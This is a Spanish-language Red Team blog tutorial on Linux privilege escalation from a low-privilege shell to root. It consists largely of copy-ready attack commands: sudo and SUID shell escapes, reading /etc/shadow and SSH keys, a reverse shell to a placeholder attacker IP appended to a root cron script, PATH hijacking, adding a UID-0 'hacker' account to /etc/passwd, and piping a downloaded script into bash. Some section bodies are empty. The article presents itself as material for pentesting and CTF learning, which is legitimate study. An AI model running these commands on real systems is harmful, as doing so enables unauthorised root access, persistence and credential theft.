Saltar al contenido

Escalada de privilegios en Linux: de usuario a root

    Escalada de privilegios en Linux:

    de usuario a root

    Serie Red Team | unfantasmaenelsistema.com

    Tienes un shell. Eres www-data, o un usuario con acceso limitado a un servidor Linux. Puedes leer algunos archivos, ejecutar algunos comandos, pero nada más. La pregunta que define la siguiente fase de cualquier auditoría es: ¿cómo llegamos a root?

    La escalada de privilegios en Linux es una de las disciplinas más ricas del pentesting porque tiene docenas de vectores posibles: configuraciones incorrectas de sudo, binarios con el bit SUID activo, tareas programadas que ejecutan scripts editables, contraseñas en archivos de configuración, vulnerabilidades del kernel. El trabajo del auditor es encontrar cuál de ellos está disponible en el sistema objetivo.

    Este artículo cubre los vectores más frecuentes con comandos listos para usar, explicación de por qué funciona cada técnica, y el flujo que sigue un pentester profesional para encontrar el camino a root de forma sistemática.

    1. Qué es la escalada de privilegios

    2. Enumeración inicial: lo primero al entrar

    Nada más obtener un shell, antes de intentar ninguna técnica de escalada, hay que hacer una enumeración sistemática del sistema. Esta información determina qué vectores son posibles y por cuál empezar. La regla es: enumerar primero, explotar después. Un auditor que intenta técnicas de escalada sin enumeración previa pierde tiempo y genera ruido innecesario.

    id

    whoami

    groups

    uname -a

    uname -r

    cat /etc/os-release

    cat /etc/issue

    cat /etc/passwd

    cat /etc/passwd | grep -v nologin | grep -v false

    cat /etc/shadow

    ls -la ~

    ls -la /home/

    cat ~/.bash_history

    cat ~/.zsh_history

    env

    printenv

    ip a

    ss -tulpn

    netstat -tulpn

    ps aux

    ps aux | grep root

    ▲ Comandos copiables

    3. Sudo misconfiguration: el vector más frecuente

    El primer comando que ejecuta cualquier pentester tras conseguir un shell es sudo -l. Muestra qué comandos puede ejecutar el usuario actual con privilegios elevados. Y con mucha frecuencia, los administradores dan permisos sudo a herramientas de sistema legítimas sin darse cuenta de que esas herramientas pueden usarse para obtener una shell de root.

    sudo -l

    sudo –version

    sudo vim -c ‘:!/bin/bash’

    sudo python3 -c ‘import os; os.system(«/bin/bash»)’

    sudo perl -e ‘exec «/bin/bash»;’

    sudo ruby -e ‘exec «/bin/bash»‘

    sudo less /etc/passwd

    sudo find / -exec /bin/bash \; -quit

    sudo awk ‘BEGIN {system(«/bin/bash»)}’

    sudo nmap –interactive

    sudo tar -cf /dev/null /dev/null –checkpoint=1 –checkpoint-action=exec=/bin/bash

    ▲ Comandos copiables

    GTFOBins (gtfobins.github.io) es la referencia definitiva para esta técnica. Cubre prácticamente cualquier binario Unix estándar y muestra exactamente cómo abusar de él en contexto de sudo, SUID, capabilities o reverse shell. Ante cualquier binario inusual en el output de sudo -l: buscar en GTFOBins primero.

    4. Binarios SUID y SGID

    El bit SUID es una característica legítima de Linux que permite que ciertos programas accedan a recursos que normalmente requieren privilegios elevados. El problema de seguridad ocurre cuando ese bit está activo en binarios que no deberían tenerlo o que permiten ejecutar código arbitrario.

    find / -perm -u=s -type f 2>/dev/null

    find / -perm -4000 -type f 2>/dev/null

    find / -perm -g=s -type f 2>/dev/null

    find / -perm -2000 -type f 2>/dev/null

    find / -perm /6000 -type f 2>/dev/null

    /bin/bash -p

    find / -exec /bin/bash -p \; -quit

    python3 -c ‘import os; os.execl(«/bin/bash», «bash», «-p»)’

    cp /etc/shadow /tmp/shadow_copy

    cat /tmp/shadow_copy

    cp /bin/bash /tmp/bash_suid

    chmod +s /tmp/bash_suid

    /tmp/bash_suid -p

    ▲ Comandos copiables

    La forma más rápida de saber si un binario SUID es explotable: buscarlo en GTFOBins, sección «SUID». Si aparece ahí, hay instrucciones exactas de explotación. Los binarios que más frecuentemente se encuentran con SUID incorrecto en sistemas mal configurados son: find, vim, python, nmap (versiones antiguas) y cp.

    5. Cron jobs inseguros

    Los cron jobs son tareas programadas que se ejecutan automáticamente. Si un cron job se ejecuta como root y contiene alguna inseguridad —un script editable, un binario relativo, una variable de entorno manipulable— podemos inyectar código que se ejecutará con privilegios de root en el próximo ciclo.

    cat /etc/crontab

    ls -la /etc/cron.d/

    ls -la /etc/cron.hourly/

    ls -la /etc/cron.daily/

    ls -la /etc/cron.weekly/

    crontab -l

    ls -la /var/spool/cron/crontabs/

    watch -n 1 ‘ps aux | grep root’

    ./pspy64

    echo ‘bash -i >& /dev/tcp/TU_IP/4444 0>&1’ >> /opt/backup.sh

    echo ‘chmod +s /bin/bash’ >> /opt/backup.sh

    /bin/bash -p

    echo ‘#!/bin/bash’ > /tmp/backup.sh

    echo ‘chmod +s /bin/bash’ >> /tmp/backup.sh

    chmod +x /tmp/backup.sh

    export PATH=/tmp:$PATH

    ▲ Comandos copiables

    La herramienta pspy merece mención especial: permite monitorizar los procesos que se ejecutan en el sistema en tiempo real, sin privilegios de root. Es la forma más fiable de detectar cron jobs que no aparecen en /etc/crontab porque están configurados a través de otros mecanismos o con frecuencias muy cortas.

    6. PATH hijacking

    PATH hijacking explota la forma en que Linux busca los ejecutables cuando no se especifica la ruta absoluta. Si un programa vulnerable ejecuta service restart en lugar de /usr/sbin/service restart, podemos colocar nuestro propio service malicioso al principio del PATH.

    Capabilities: privilegios granulares

    Las capabilities de Linux dividen los privilegios de root en unidades más pequeñas. Un binario puede tener cap_setuid (cambiar el UID del proceso) sin tener todos los privilegios de root. Esto es más seguro que SUID, pero si ese binario permite ejecutar código (como Python o Perl), cap_setuid es suficiente para escalar a root.

    echo ‘#!/bin/bash’ > /tmp/service

    echo ‘/bin/bash -p’ >> /tmp/service

    chmod +x /tmp/service

    export PATH=/tmp:$PATH

    echo $PATH

    which service

    getcap -r / 2>/dev/null

    python3 -c ‘import os; os.setuid(0); os.system(«/bin/bash»)’

    perl -e ‘use POSIX; setuid(0); exec «/bin/bash»;’

    ruby -e ‘Process::Sys.setuid(0); exec «/bin/bash»‘

    ▲ Comandos copiables

    7. Contraseñas en archivos y configuraciones

    Una de las técnicas más simples y más efectivas: buscar contraseñas en texto claro en archivos de configuración, backups, historial de comandos o variables de entorno. Los desarrolladores frecuentemente hardcodean credenciales de bases de datos, APIs o servicios internos, y esas credenciales a veces funcionan también para el usuario root del sistema.

    grep -r ‘password’ /etc/ 2>/dev/null

    grep -r ‘password’ /var/www/ 2>/dev/null

    grep -rn ‘password’ /home/ 2>/dev/null

    find / -name ‘*.conf’ -readable 2>/dev/null | xargs grep -l password 2>/dev/null

    find / -name ‘config.php’ 2>/dev/null

    find / -name ‘wp-config.php’ 2>/dev/null

    find / -name ‘.env’ 2>/dev/null

    cat /etc/mysql/my.cnf

    cat /var/www/html/wp-config.php

    find /var/www -name ‘*.php’ | xargs grep -l ‘password’ 2>/dev/null

    find / -name ‘*.bak’ -o -name ‘*.backup’ -o -name ‘*.old’ 2>/dev/null

    find / -name ‘id_rsa’ 2>/dev/null

    find / -name ‘*.pem’ 2>/dev/null

    env | grep -i pass

    env | grep -i secret

    find /home -name ‘.bash_history’ -readable 2>/dev/null | xargs cat

    ▲ Comandos copiables

    8. Archivos con permisos incorrectos

    Además de las contraseñas, hay que buscar archivos y directorios con permisos más abiertos de lo que deberían. El caso extremo: si /etc/passwd es escribible, podemos añadir un usuario con UID 0 directamente.

    find / -writable -type f 2>/dev/null | grep -v proc

    find / -perm -o+w -type f 2>/dev/null | grep -v proc

    find / -perm -o+w -type d 2>/dev/null

    find / -user $(whoami) -type f 2>/dev/null

    find / -group $(id -gn) -type f 2>/dev/null

    ls -la /etc/passwd

    openssl passwd -1 hacked

    echo ‘hacker:HASH_GENERADO:0:0:root:/root:/bin/bash’ >> /etc/passwd

    su hacker

    ▲ Comandos copiables

    9. Kernel exploits: el último recurso

    10. Herramientas automáticas: LinPEAS y compañía

    La enumeración manual es la mejor forma de aprender, pero en auditorías reales se complementa con herramientas automáticas que cubren cientos de vectores en segundos. LinPEAS es el estándar actual: analiza el sistema completo y codifica los hallazgos por colores según la probabilidad de éxito.

    uname -r

    uname -a

    searchsploit linux kernel 3.13

    searchsploit linux privilege escalation 2021

    curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash

    python3 -m http.server 8080

    wget http://TU_IP_KALI:8080/linpeas.sh

    chmod +x linpeas.sh

    ./linpeas.sh

    ./linpeas.sh | tee /tmp/linpeas_output.txt

    wget http://TU_IP_KALI:8080/LinEnum.sh

    chmod +x LinEnum.sh

    ./LinEnum.sh -t

    wget http://TU_IP_KALI:8080/lse.sh

    chmod +x lse.sh

    ./lse.sh -l 1

    ./lse.sh -l 2

    ▲ Comandos copiables

    Una recomendación de uso: hacer la enumeración manual primero, luego LinPEAS. Si empiezas con LinPEAS, el volumen de output puede ser abrumador y perder la comprensión de qué está pasando. Hacerlo al revés te da contexto para interpretar los hallazgos de LinPEAS correctamente.

    11. Resumen de vectores y flujo completo

    Conclusión

    La escalada de privilegios en Linux no es una técnica única: es un proceso de enumeración sistemática que busca la configuración incorrecta que el administrador del sistema no vio. En la mayoría de los casos, la vulnerabilidad no es un exploit de kernel sofisticado sino algo mucho más simple: un sudo mal configurado, un cron job que ejecuta un script editable, o una contraseña en texto claro en un archivo de configuración.

    GTFOBins y LinPEAS son las dos herramientas que más aceleran este proceso. GTFOBins te dice cómo explotar cualquier binario que encuentres. LinPEAS te dice qué encontrar. Juntas cubren la gran mayoría de los vectores de escalada que verás en máquinas de CTF y en auditorías reales.

    El siguiente artículo de la serie cubre la escalada de privilegios en Windows: un entorno con sus propias particularidades — tokens de impersonación, servicios vulnerables, DLL hijacking y el omnipresente Active Directory.

    unfantasmaenelsistema.com | Seguridad, sistemas y todo lo que no debería funcionar (pero funciona)

    Resumen de privacidad

    Esta web utiliza cookies para que podamos ofrecerte la mejor experiencia de usuario posible. La información de las cookies se almacena en tu navegador y realiza funciones tales como reconocerte cuando vuelves a nuestra web o ayudar a nuestro equipo a comprender qué secciones de la web encuentras más interesantes y útiles.